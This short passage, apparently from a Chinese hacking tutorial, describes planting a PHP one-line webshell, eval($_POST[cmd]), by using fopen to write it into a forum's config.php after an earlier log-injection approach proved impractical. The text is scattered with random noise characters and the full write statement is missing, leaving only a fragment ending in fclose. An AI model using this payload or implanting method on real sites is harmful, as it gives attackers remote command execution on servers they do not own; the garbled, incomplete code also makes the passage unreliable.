因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

' j" @2 n: Q# s<?eval($_POST[cmd]);?> * U0 V$ n) c/ Q- W) @- l

到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句， 5 X5 q" A9 ?3 |* ^
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

fclose($fp);?> //在config.php里写入一句木马语句
